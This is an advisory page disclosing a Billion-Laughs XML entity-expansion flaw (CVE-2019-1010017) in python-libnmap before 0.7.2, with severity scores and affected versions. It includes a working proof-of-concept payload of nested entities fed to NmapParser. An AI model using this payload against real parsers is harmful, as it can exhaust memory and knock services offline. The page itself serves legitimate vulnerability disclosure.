Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTljY3YtcDdmZy1tNzN4

XML Injection in python-libnmap

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)
Permalink: https://github.com/advisories/GHSA-9ccv-p7fg-m73x
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTljY3YtcDdmZy1tNzN4
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 5 years ago
Updated: about 2 months ago


CVSS Score: 7.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS Percentage: 0.00138
EPSS Percentile: 0.50501

Identifiers: GHSA-9ccv-p7fg-m73x, CVE-2019-1010017
References: Repository: https://github.com/savon-noir/python-libnmap
Blast Radius: 16.5

Affected Packages

pypi:python-libnmap
Dependent packages: 10
Dependent repositories: 157
Downloads: 25,170 last month
Affected Version Ranges: < 0.7.2
Fixed in: 0.7.2
All affected versions: 0.2.3, 0.2.4, 0.2.7, 0.2.8, 0.4.0, 0.4.6, 0.5.0, 0.5.1, 0.6.1, 0.6.2, 0.6.3, 0.7.0
All unaffected versions: 0.7.2, 0.7.3